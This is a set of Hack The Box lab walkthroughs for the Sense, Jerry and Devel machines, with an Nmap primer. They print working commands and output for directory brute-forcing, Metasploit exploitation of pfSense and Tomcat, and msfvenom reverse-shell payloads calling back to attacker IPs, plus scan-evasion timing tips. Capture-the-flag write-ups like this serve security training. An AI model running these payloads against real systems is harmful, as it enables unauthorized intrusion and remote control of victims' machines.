HTB: Sense

 ___  ___  _________  ________                         
|\  \|\  \|\___   ___\\   __  \  ___                   
\ \  \\\  \|___ \  \_\ \  \|\ /_|\__\                  
 \ \   __  \   \ \  \ \ \   __  \|__|                  
  \ \  \ \  \   \ \  \ \ \  \|\  \  ___                
   \ \__\ \__\   \ \__\ \ \_______\|\__\               
    \|__|\|__|    \|__|  \|_______|\|__|               
 ________  _______   ________   ________  _______      
|\   ____\|\  ___ \ |\   ___  \|\   ____\|\  ___ \     
\ \  \___|\ \   __/|\ \  \\ \  \ \  \___|\ \   __/|    
 \ \_____  \ \  \_|/_\ \  \\ \  \ \_____  \ \  \_|/__  
  \|____|\  \ \  \_|\ \ \  \\ \  \|____|\  \ \  \_|\ \ 
    ____\_\  \ \_______\ \__\\ \__\____\_\  \ \_______\
   |\_________\|_______|\|__| \|__|\_________\|_______|
   \|_________|                   \|_________|         
                                                            

Hack The Box's Sense is an Easy OpenBSD machine that features pfSense, an open-source firewall software. This machine uses basic directory brute-forcing using Gobuster to search for a user credential text file to gain access to the firewall, followed by an injection attack to gain root access to the machine.

Once starting the machine on HTB and connecting to your HTB VPN, we will start by opening our terminal and pinging the machine's IP address to make sure the network is up. Make sure the IP address you enter matches the one displayed on HTB when you boot up the target machine.

ping 10.10.10.60

You should receive responses from the IP address. You can press CTRL + C to stop sending packets to the target host. Once confirming the network is up and running, it's time to move to enumeration using Nmap.

Start by doing a quick service scan using Nmap. We will use the -sV switch to enable version detection. You can learn more about Nmap here.

nmap -sV 10.10.10.60
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-02 11:17 CDT
Nmap scan report for 10.10.10.60
Host is up (0.0091s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
443/tcp open  ssl/https?

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.98 seconds

We can see a web server running. Let's navigate to the site by entering the target's ip address in our web browser. Upon inspection we can see a login page for pfSense, an open-source firewall software based in FreeBSD. We can complete a quick Google search for the default credentials for pfSense and find the default username is "admin" and the password is "pfsense". When trying these default credentials, we are notified they are not correct. Let's move on to using Gobuster to brute-force directories on the server. We'll search for .php and .txt files using the directory-list-2.3-medium.txt wordlist.

gobuster dir -u https://10.10.10.60/ -t 50 -x php,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.60/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 6690]
/help.php             (Status: 200) [Size: 6689]
/themes               (Status: 301) [Size: 0] [--> https://10.10.10.60/themes/]
/stats.php            (Status: 200) [Size: 6690]
/css                  (Status: 301) [Size: 0] [--> https://10.10.10.60/css/]
/edit.php             (Status: 200) [Size: 6689]
/includes             (Status: 301) [Size: 0] [--> https://10.10.10.60/includes/]
/license.php          (Status: 200) [Size: 6692]
/system.php           (Status: 200) [Size: 6691]
/status.php           (Status: 200) [Size: 6691]
/javascript           (Status: 301) [Size: 0] [--> https://10.10.10.60/javascript/]
/changelog.txt        (Status: 200) [Size: 271]
/classes              (Status: 301) [Size: 0] [--> https://10.10.10.60/classes/]
/exec.php             (Status: 200) [Size: 6689]
/widgets              (Status: 301) [Size: 0] [--> https://10.10.10.60/widgets/]
/graph.php            (Status: 200) [Size: 6690]
/tree                 (Status: 301) [Size: 0] [--> https://10.10.10.60/tree/]
/wizard.php           (Status: 200) [Size: 6691]
/shortcuts            (Status: 301) [Size: 0] [--> https://10.10.10.60/shortcuts/]
/pkg.php              (Status: 200) [Size: 6688]
/installer            (Status: 301) [Size: 0] [--> https://10.10.10.60/installer/]
/wizards              (Status: 301) [Size: 0] [--> https://10.10.10.60/wizards/]
/xmlrpc.php           (Status: 200) [Size: 384]
/reboot.php           (Status: 200) [Size: 6691]
/interfaces.php       (Status: 200) [Size: 6695]
/csrf                 (Status: 301) [Size: 0] [--> https://10.10.10.60/csrf/]
/system-users.txt     (Status: 200) [Size: 106]
/filebrowser          (Status: 301) [Size: 0] [--> https://10.10.10.60/filebrowser/]

After some time, we will notice a /systems-users.txt, highlighted above in orange. This file is interesting because there could be user login information within the text file. We can view this file by navigating to the path on the web server by using our web browser. On my spawned HTB machine it would be https://10.10.10.60/system-users.txt. We get the following page with a support ticket containing credentials:

####Support ticket###

Please create the following user


username: Rohit
password: company defaults

We see the username listed as "Rohit" and the password as "company defaults". After testing these credentials on the pfSense login page, we see we are not granted access. But let's try the default pfSense password, "pfsense". Upon using these credentials we see we are granted access!

Let's fire-up Metasploit and search for potential exploits for pfSense:

msfconsole
Metasploit tip: To save all commands executed since start up to a file, use the 
makerc command
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.3.44-dev                          ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >> search pfsense

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  exploit/unix/http/pfsense_clickjacking          2017-11-21       normal     No     Clickjacking Vulnerability In CSRF Error Page pfSense
   1  exploit/unix/http/pfsense_diag_routes_webshell  2022-02-23       excellent  Yes    pfSense Diag Routes Web Shell Upload
   2  exploit/unix/http/pfsense_config_data_exec      2023-03-18       excellent  Yes    pfSense Restore RRD Data Command Injection
   3  exploit/unix/http/pfsense_graph_injection_exec  2016-04-18       excellent  No     pfSense authenticated graph status RCE
   4  exploit/unix/http/pfsense_group_member_exec     2017-11-06       excellent  Yes    pfSense authenticated group member RCE
   5  exploit/unix/http/pfsense_pfblockerng_webshell  2022-09-05       great      Yes    pfSense plugin pfBlockerNG unauthenticated RCE as root


Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/http/pfsense_pfblockerng_webshell

[msf](Jobs:0 Agents:0) >> 

We see option #3 shows a module for an injection attack granting authentication. You can read more about this specific exploit on Rapid7's website here. Let's select this attack and fill out the required exploit options:

use 3
[*] Using configured payload php/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> options

Module options (exploit/unix/http/pfsense_graph_injection_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  pfsense          yes       Password to login with
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                        /basics/using-metasploit.html
   RPORT     443              yes       The target port (TCP)
   SSL       true             no        Negotiate SSL/TLS for outgoing connections
   USERNAME  admin            yes       User to login with
   VHOST                      no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> set RHOSTS 10.10.10.60
RHOSTS => 10.10.10.60
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> set USERNAME rohit
USERNAME => rohit
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> set LHOST tun0
LHOST => 10.10.14.6
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> 

We set the RHOSTS to the target ip address, the USERNAME to "rohit", and the LHOST to our desired listening ip address for the reverse TCP connection. We can now run this exploit using "exploit":

exploit

[*] Started reverse TCP handler on 10.10.14.6:4444 
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Sending stage (39927 bytes) to 10.10.10.60
[+] Deleted uz
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.10.60:53021) at 2024-10-02 12:06:53 -0500

(Meterpreter 1)(/var/db/rrd) > getuid
Server username: root
(Meterpreter 1)(/var/db/rrd) > 

Once the reverse TCP connection is successful, we can use the "getuid" command to see we now have root access to the machine! You can now navigate through the target system to obtain the root and user .txt flags.

Nmap Basics for Penetration Testing

          ___.-------.___
      _.-' ___.--;--.___ `-._
   .-' _.-'  /  .+.  \  `-._ `-.
 .' .-'      |-|-o-|-|      `-. `.
(_ <O__      \  `+'  /      __O> _)
  `--._``-..__`._|_.'__..-''_.--'
        ``--._________.--''

Nmap, short for Network Mapper, is a free and open-source tool widely used for network discovery and security auditing. Nmap utilizes raw IP packets in innovative ways to gather information about a network. It can identify available hosts, running services (including application name and version), operating systems, firewalls or packet filters in use, and many other details. Designed for rapid scanning of large networks, Nmap also works effectively for single hosts.

Network administrators rely on Nmap for various tasks, including creating network inventories, managing service upgrades, and monitoring uptime of hosts and services, while hackers may utilize it for enumeration i.e. identifying open ports running services that may be exploitable.

Nmap is available for most operating systems but is included with the Kali Linux distro. Remember to replace the placeholder ip address with your target ip address. You can also test this out by scanning the url: scanme.nmap.org. Let's start off with a basic Nmap scan. We can scan using an ip address or a host name i.e. scanme.nmap.org:

nmap 192.168.1.1

We can also scan a list of network/host targets within a text file using the following commands where "ip_list.txt" is the path to the text file.

nmap -iL ip_list.txt 

When performing a penetration test on a network, we may want to perform a ping sweep scan, which pings all available hosts on a network by sending ICMP packets and returns the live hosts. Conducting a ping sweep is a crucial part of identifying active hosts on a network and lays the groundwork for a penetration test.

nmap -sn 192.168.0.0/24

Once we have the list of live hosts, we can then do port scans on the individual hosts. Note the "/24" addition to the ip address. This sets the ip address range. It will send an ICMP echo request to every ip address in the network from 192.168.0.1 to 192.168.0.255.

Nmap defaults to scanning the 1000 most commonly used ports. Port specification and scan order refer to the process of selecting which ports to scan during network reconnaissance. This is crucial for efficient scanning as it allows you to exclude irrelevant ports and prioritize the scan based on port usage frequency.

We can specify ports using the following command:

nmap -p 22,80,443 192.168.1.1

We can also scan for the operating system. This information helps pinpoint vulnerabilities specific to the operating system, enabling more effective attacks on the target system. We can use "-O" to enable OS detection.

nmap -O 192.168.1.1

What if we want to detect the services being run on open ports on the network? The service/version detection feature in Nmap provides valuable insights into the target system, enabling you to identify vulnerabilities and weaknesses on those ports. This option can be enabled by using "-sV".

nmap -sV 192.168.1.1

With the returned information, we can run a query using something like  searchsploit for possible exploits for these services.

One of the most popular scans used is the SYN scan. A SYN scan involves sending an SYN packet to the target host and monitoring for a response. If the target responds with an SYN/ACK packet, the port is open; if it responds with an RST packet, the port is closed. This half-open scan technique, which doesn't complete the full TCP three-way handshake, is fast and, most importantly, stealthy, ideal for mapping large networks.

nmap -sS 192.168.1.1

Being stealthy is an important part of penetration testing. Some firewalls and Intrusion Detection System (IDS) solutions may temporarily block ip addresses that exhibit unusual network activity, such as high traffic volumes or sending network packets to multiple hosts in a systematic manner. We can mitigate these risks by using certain commands that effect the scans order and timing.

We can add the "-T" option to effect the scans timing template. By default, Nmap uses the "-T2" timing template but we can slow the scan down by using the "-T1" or "-T0" timing templates. These will slow down the scan process but will minimize the impact on the network and prevent triggering any alerts.

nmap -T1 192.168.0.0/24

You can also slow down an Nmap scan using delay. Use the "--scan-delay" option and specify the desired delay time in seconds.

nmap --scan-delay 3s 192.168.0.0/24

Let's change the order of targets we scan. Nmap's --randomize-hosts option can help you randomize your scans, making them less predictable and harder to detect by security.

nmap --randomize-hosts 192.168.0.0/24

One of the most powerful features of Nmap is it's ability to run scripts. The Nmap Script Engine (NSE) are scripts written in the programming language, Lua.

For example, you can run the following command that runs the "http-headers" script which pulls the HTTP headers configured on the target webserver.

nmap --script http-headers scanme.nmap.org

As a penetration tester, you may want to run the "vulners" script which automatically lists the vulnerabilities on a target using a CVE database.

nmap --script vulners 192.168.1.1

There are hundreds of NSE scripts available which you can view here.

HTB: Jerry

 ___  ___  _________  ________                        
|\  \|\  \|\___   ___\\   __  \  ___                  
\ \  \\\  \|___ \  \_\ \  \|\ /_|\__\                 
 \ \   __  \   \ \  \ \ \   __  \|__|     _  _             
  \ \  \ \  \   \ \  \ \ \  \|\  \  ___  (o)(o)--.           
   \ \__\ \__\   \ \__\ \ \_______\|\__\  \xx/ (  )       
    \|__|\|__|    \|__|  \|_______|\|__|  m\/m--m'`--.      
    ___  _______   ________  ________      ___    ___ 
   |\  \|\  ___ \ |\   __  \|\   __  \    |\  \  /  /|
   \ \  \ \   __/|\ \  \|\  \ \  \|\  \   \ \  \/  / /
 __ \ \  \ \  \_|/_\ \   _  _\ \   _  _\   \ \    / / 
|\  \\_\  \ \  \_|\ \ \  \\  \\ \  \\  \|   \/  /  /  
\ \________\ \_______\ \__\\ _\\ \__\\ _\ __/  / /    
 \|________|\|_______|\|__|\|__|\|__|\|__|\___/ /     
                                         \|___|/      

Hack The Box's Jerry is an Easy Windows machine that features an Apache Tomcat web server which can easily be exploited with default login credentials and a reverse shell payload generated using MSFvenom. 

Once starting the machine on HTB and connecting to your HTB VPN, we will start by opening our terminal and pinging the machine's IP address to make sure the network is up. Make sure the IP address you enter matches the one displayed on HTB when you boot up the target machine.

ping 10.10.10.95

You should receive responses from the IP address. You can press CTRL + C to stop sending packets to the target host. Once confirming the network is up and running, it's time to move to enumeration using Nmap.

Start by doing a quick service scan using Nmap. We will use the -sV switch to enable version detection. You can learn more about Nmap here.

nmap -sV 10.10.10.95
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 12:51 CDT
Nmap scan report for 10.10.10.95
Host is up (0.0088s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds

We can see an Apache Tomcat web server running on port 8080. Let's navigate to the site by entering the target's ip address followed by port 8080 into the address bar of your web browser. Upon visual inspection of the page, we can see that we can gain access to the servers manager app through /manager/html. Unfortunately, we are faced with the login prompt.

Let's run the login through a wordlist of default credentials for Tomcat using Metasploit. Open Metasploit in a new terminal by typing "msfconsole".

msfconsole
Metasploit tip: Use help <command> to learn more about any command
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v6.3.44-dev                          ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >>

Let's search for Tomcat exploits using the "search" option.

search tomcat

Matching Modules
================

   #   Name                                                            Disclosure Date  Rank       Check  Description
   -   ----                                                            ---------------  ----       -----  -----------
   0   auxiliary/dos/http/apache_commons_fileupload_dos                2014-02-06       normal     No     Apache Commons FileUpload and Apache Tomcat DoS
   1   exploit/multi/http/struts_dev_mode                              2012-01-06       excellent  Yes    Apache Struts 2 Developer Mode OGNL Execution
   2   exploit/multi/http/struts2_namespace_ognl                       2018-08-22       excellent  Yes    Apache Struts 2 Namespace Redirect OGNL Injection
   3   exploit/multi/http/struts_code_exec_classloader                 2014-03-06       manual     No     Apache Struts ClassLoader Manipulation Remote Code Execution
   4   auxiliary/admin/http/tomcat_ghostcat                            2020-02-20       normal     Yes    Apache Tomcat AJP File Read
   5   exploit/windows/http/tomcat_cgi_cmdlineargs                     2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
   6   exploit/multi/http/tomcat_mgr_deploy                            2009-11-09       excellent  Yes    Apache Tomcat Manager Application Deployer Authenticated Code Execution
   7   exploit/multi/http/tomcat_mgr_upload                            2009-11-09       excellent  Yes    Apache Tomcat Manager Authenticated Upload Code Execution
   8   auxiliary/dos/http/apache_tomcat_transfer_encoding              2010-07-09       normal     No     Apache Tomcat Transfer-Encoding Information Disclosure and DoS
   9   auxiliary/scanner/http/tomcat_enum                                               normal     No     Apache Tomcat User Enumeration
   10  exploit/linux/local/tomcat_rhel_based_temp_priv_esc             2016-10-10       manual     Yes    Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation
   11  exploit/linux/local/tomcat_ubuntu_log_init_priv_esc             2016-09-30       manual     Yes    Apache Tomcat on Ubuntu Log Init Privilege Escalation
   12  exploit/multi/http/atlassian_confluence_webwork_ognl_injection  2021-08-25       excellent  Yes    Atlassian Confluence WebWork OGNL Injection
   13  exploit/windows/http/cayin_xpost_sql_rce                        2020-06-04       excellent  Yes    Cayin xPost wayfinder_seqid SQLi to RCE
   14  exploit/multi/http/cisco_dcnm_upload_2019                       2019-06-26       excellent  Yes    Cisco Data Center Network Manager Unauthenticated Remote Code Execution
   15  exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec    2021-05-05       excellent  Yes    Cisco HyperFlex HX Data Platform Command Execution
   16  exploit/linux/http/cisco_hyperflex_file_upload_rce              2021-05-05       excellent  Yes    Cisco HyperFlex HX Data Platform unauthenticated file upload to RCE (CVE-2021-1499)
   17  exploit/linux/http/cpi_tararchive_upload                        2019-05-15       excellent  Yes    Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability
   18  exploit/linux/http/cisco_prime_inf_rce                          2018-10-04       excellent  Yes    Cisco Prime Infrastructure Unauthenticated Remote Code Execution
   19  post/multi/gather/tomcat_gather                                                  normal     No     Gather Tomcat Credentials
   20  auxiliary/dos/http/hashcollision_dos                            2011-12-28       normal     No     Hashtable Collisions
   21  auxiliary/admin/http/ibm_drm_download                           2020-04-21       normal     Yes    IBM Data Risk Manager Arbitrary File Download
   22  exploit/linux/http/lucee_admin_imgprocess_file_write            2021-01-15       excellent  Yes    Lucee Administrator imgProcess.cfm Arbitrary File Write
   23  exploit/linux/http/mobileiron_core_log4shell                    2021-12-12       excellent  Yes    MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)
   24  exploit/multi/http/zenworks_configuration_management_upload     2015-04-07       excellent  Yes    Novell ZENworks Configuration Management Arbitrary File Upload
   25  exploit/multi/http/spring_framework_rce_spring4shell            2022-03-31       manual     Yes    Spring Framework Class property RCE (Spring4Shell)
   26  auxiliary/admin/http/tomcat_administration                                       normal     No     Tomcat Administration Tool Default Access
   27  auxiliary/scanner/http/tomcat_mgr_login                                          normal     No     Tomcat Application Manager Login Utility
   28  exploit/multi/http/tomcat_jsp_upload_bypass                     2017-10-03       excellent  Yes    Tomcat RCE via JSP Upload Bypass
   29  auxiliary/admin/http/tomcat_utf8_traversal                      2009-01-09       normal     No     Tomcat UTF-8 Directory Traversal Vulnerability
   30  auxiliary/admin/http/trendmicro_dlp_traversal                   2009-01-09       normal     No     TrendMicro Data Loss Prevention 5.5 Directory Traversal
   31  post/windows/gather/enum_tomcat                                                  normal     No     Windows Gather Apache Tomcat Enumeration


Interact with a module by name or index. For example info 31, use 31 or use post/windows/gather/enum_tomcat

[msf](Jobs:0 Agents:0) >> 

We see an auxiliary/scanner/http/tomcat_mgr_login exploit. To use an exploit we can type "use" and then the exploits assigned index # value from the search results.

Once the exploit has loaded, type "options" and hit Enter. This will bring up the options which we will need to configure.

use 27
[msf](Jobs:0 Agents:0) auxiliary(scanner/http/tomcat_mgr_login) >> options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

   Name              Current Setting                            Required  Description
   ----              ---------------                            --------  -----------
   ANONYMOUS_LOGIN   false                                      yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false                                      no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                          yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                      no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                      no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                      no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                       no        Skip existing credentials stored in the current database (Accepted: none, u
                                                                          ser, user&realm)
   PASSWORD                                                     no        The HTTP password to specify for authentication
   PASS_FILE         /usr/share/metasploit-framework/data/word  no        File containing passwords, one per line
                     lists/tomcat_mgr_default_pass.txt
   Proxies                                                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/b
                                                                          asics/using-metasploit.html
   RPORT             8080                                       yes       The target port (TCP)
   SSL               false                                      no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false                                      yes       Stop guessing when a credential works for a host
   TARGETURI         /manager/html                              yes       URI for Manager login. Default is /manager/html
   THREADS           1                                          yes       The number of concurrent threads (max one per host)
   USERNAME                                                     no        The HTTP username to specify for authentication
   USERPASS_FILE     /usr/share/metasploit-framework/data/word  no        File containing users and passwords separated by space, one pair per line
                     lists/tomcat_mgr_default_userpass.txt
   USER_AS_PASS      false                                      no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/word  no        File containing users, one per line
                     lists/tomcat_mgr_default_users.txt
   VERBOSE           true                                       yes       Whether to print output for all attempts
   VHOST                                                        no        HTTP server virtual host


View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) auxiliary(scanner/http/tomcat_mgr_login) >>

Our RPORT is preconfigured to the correct port but our RHOSTS option is blank and is required to run the exploit. To set this we will need to type "set RHOSTS" then the IP of our target machine and hit Enter. We will see a confirmation line with the set RHOSTS IP.

set RHOSTS 10.10.10.95
RHOSTS => 10.10.10.95
[msf](Jobs:0 Agents:0) auxiliary(scanner/http/tomcat_mgr_login) >> 

With everything all set, it's time to run the exploit! Type "run" then hit Enter. Once the exploit is finished running, we can see a successful login using the credentials "tomcat:s3cret"! We can now navigate back to the web server in our browser and access the manager dashboard.

On the dashboard we see an option to upload a WAR file. A WAR file is a file used to distribute JAR-files, Java classes, XML files, tag libraries, static web pages and other resources that together creates a web application. We can instead use this to upload a malicious payload! 

Let's generate a reverse tcp payload using MSFvenom:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.13 LPORT=4444 -f war > jerry_warcia.war
Payload size: 1102 bytes
Final size of war file: 1102 bytes

We can now upload this .war file using the Tomcat dashboard and deploy the file to our server. Once it has been uploaded, open a Netcat listening session in your terminal. You will then need to click the name of the uploaded payload back on the Tomcat dashboard to establish the connection. Netcat should now have a shell:

nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>

You can now navigate through the target system to obtain the root and user .txt flags.

HTB: Devel

 ___  ___  _________  ________                           
|\  \|\  \|\___   ___\\   __  \  ___                     
\ \  \\\  \|___ \  \_\ \  \|\ /_|\__\                    
 \ \   __  \   \ \  \ \ \   __  \|__|                    
  \ \  \ \  \   \ \  \ \ \  \|\  \  ___                  
   \ \__\ \__\   \ \__\ \ \_______\|\__\                 
    \|__|\|__|    \|__|  \|_______|\|__|                 
 ________  _______   ___      ___ _______   ___          
|\   ___ \|\  ___ \ |\  \    /  /|\  ___ \ |\  \         
\ \  \_|\ \ \   __/|\ \  \  /  / | \   __/|\ \  \        
 \ \  \ \\ \ \  \_|/_\ \  \/  / / \ \  \_|/_\ \  \       
  \ \  \_\\ \ \  \_|\ \ \    / /   \ \  \_|\ \ \  \____  
   \ \_______\ \_______\ \__/ /     \ \_______\ \_______\
    \|_______|\|_______|\|__|/       \|_______|\|_______|

Hack The Box's Devel is an Easy machine that is a great introduction to using MSFvenom to generate a payload and privilege escalation using Metasploit. Devel is an excellent machine for those looking to move ahead from the extremely easy machines like Blue, Lame, or Legacy.

Once starting the machine on HTB and connecting to your HTB VPN, we will start by opening our terminal and pinging the machine's IP address to make sure the network is up. Make sure the IP address you enter matches the one displayed on HTB when you boot up the target machine.

ping 10.129.232.194

You should receive responses from the IP address. You can press CTRL + C to stop sending packets to the target host. Once confirming the network is up and running, it's time to start enumeration using Nmap.

Start by doing a quick service scan using Nmap. We will use the -A switch to enable an aggressive scan that will give us the results of OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (–traceroute). You can learn more about Nmap here. You should receive the following output in your terminal:

nmap -A 10.129.232.194
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-01 18:49 BST
Nmap scan report for 10.129.232.194
Host is up (0.014s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.53 seconds

On port 21 we can see that a FTP server is running and open. We can also see that anonymous FTP login is allowed! Anonymous FTP login can be performed by connecting to the FTP server and using "anonymous" for the Name credential and leaving the Password field blank by hitting Enter.

Let's attempt to log into the FTP server using anonymous credentials by typing "ftp" followed by the IP address and hitting Enter.

ftp 10.129.232.194
Connected to 10.129.232.194.
220 Microsoft FTP Service
Name (10.129.232.194:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> 

We're in! Next, we will need to use this FTP connection as an attack vector by creating and uploading a payload using msfvenom and the "put" command. 

We will generate a aspx reverse shell payload to upload to the target computer by typing the following in a new terminal:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.75 LPORT=1234 -f aspx > devel.aspx

Please note, that the LHOST may be different and should match your machines IP. The LPORT can be any port number not in use and "devel.aspx" can have any file name you choose. 

Hit Enter to generate the payload file in your present working directory.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.75 LPORT=1234 -f aspx > devel.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2861 bytes

Once msfvenom generates the payload, we will need to upload the file to the FTP server using "put". In the terminal connected to the FTP server, type "put" followed by the payload file name. Note, if you were in a different directory connecting to the FTP server than the directory containing the payload on your machine, you will need to disconnect from the FTP server, change the present working directory, then reconnect.

ftp> put devel.aspx
local: devel.aspx remote: devel.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2897 bytes sent in 0.00 secs (65.7808 MB/s)
ftp> 

Our payload is now uploaded to the FTP server! In another terminal window or tab, let's boot up Metasploit by typing "msfconsole".

msfconsole
                                                  
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+


       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Use the resource command to run 
commands from a file

msf6 > 

Once Metasploit is running type "use multi/handler" and hit Enter. Next, type "set payload windows/meterpreter/reverse_tcp" and hit Enter to set the payload. Once this is done, let's use "show options" to display the options needed to run the exploit.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thr
                                        ead, process, none)
   LHOST                      yes       The listen address (an interface may b
                                        e specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > 

